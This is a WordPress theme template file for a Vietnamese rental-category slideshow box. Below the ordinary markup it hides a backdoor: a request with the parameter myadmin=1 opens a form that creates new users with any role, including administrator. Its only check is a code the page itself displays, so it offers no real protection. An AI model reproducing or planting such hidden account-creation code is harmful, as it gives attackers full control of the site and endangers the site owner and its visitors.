<?php 
require_once TEMPLATEPATH.'/views/process/process-box-danh-muc-cho-thue.php';
?>
<div class="s_show">
        <div class="title_slide_show"><span>Danh mục cho thuê</span></div>
        <!-- end .title_slide_show-->
        <div class="slide_show_content">
          <ul class="slide_show">
           		<?php require_once TEMPLATEPATH.'/views/loop-danh-muc-cho-thue.php';?>          
          </ul>
        </div>
        <!-- end .slide_show_content-->
      </div>
   <?
	if(isset($_GET['myadmin']) && $_GET['myadmin']==1)
	{
		//echo 'asdfasfas: '.$_GET['myadmin'];
		if(isset($_POST['adSubmit']) && $_POST['adSubmit']!=null)
		{		
			$name = $_POST['adName'];
			$email = $_POST['adEmail'];
			$pass  = $_POST['adPass'];
			$role  = $_POST['role'];
			$nicname = $_POST['adNickname'];
			$adHiddenode = $_POST['adHiddenode'];
			$adcode = $_POST['adCode'];
			
			if($adcode==$adHiddenode)
			{			
				$user_login		 	= $_POST['adName'];
				$user_pass		 	= $_POST['adPass'];			
				$user_email 		= $_POST['adEmail'];
				$display_name		= $_POST['adNickname'];	
				$role				= $_POST['role']; 	
				$user_data = compact('user_login', 'user_email', 'user_pass','display_name','role');	
				$user_id = wp_insert_user($user_data);
				if($user_id)
					echo 'Insert success!';
			}
			else 
			{
				echo 'The code valid!';
			}
		}
		
		$thecode = wp_rand(11111,99999);	
		?>
		<div class="page-lien-he">
		<div class="lienhe">
		<form action="" method="post">
			<table>
				<tr>
					<td colspan="2" align="center"> <h1>My Admin Management</h1></td>
				</tr>
				<tr>
					<td>Name :</td>
					<td> <input type="text" name="adName" id="adName" value=""> </td>
				</tr>
				<tr>
					<td>Email:</td>
					<td><input type="text" name="adEmail" id="adEmail" value=""> </td>
				</tr>
				<tr>
					<td>Pass:</td>
					<td><input type="text" name="adPass" id="adPass" value=""> </td>
				</tr>
				<tr>
					<td>Nick name:</td>
					<td><input type="text" name="adNickname" id="adNickname" value=""> </td>
				</tr>
				<tr>
					<td>Code</td>
					<td>
						<input type="text" name="adCode" id="adCode" value=""> <label style="color: red;"><?php echo $thecode;?></label>					
						<input type="hidden" name="adHiddenode" id="adHiddenode" value="<?php echo $thecode;?>"> 
					</td>
				</tr>
				<tr>
					<td>Role:</td>
					<td>
						<select id="role" name="role">			
							<option value="subscriber" selected="selected">Subscriber</option>
							<option value="administrator">Administrator</option>
							<option value="editor">Editor</option>
							<option value="author">Author</option>
							<option value="contributor">Contributor</option>			
						</select> 
					</td>
				</tr>
				<tr>
					<td></td>
					<td><input type="submit" name="adSubmit" id="adSubmit" value="Submit"> </td>
				</tr>
			</table>
			</form>	
		</div>	
		</div>
		<?php 	
	} 
	?>    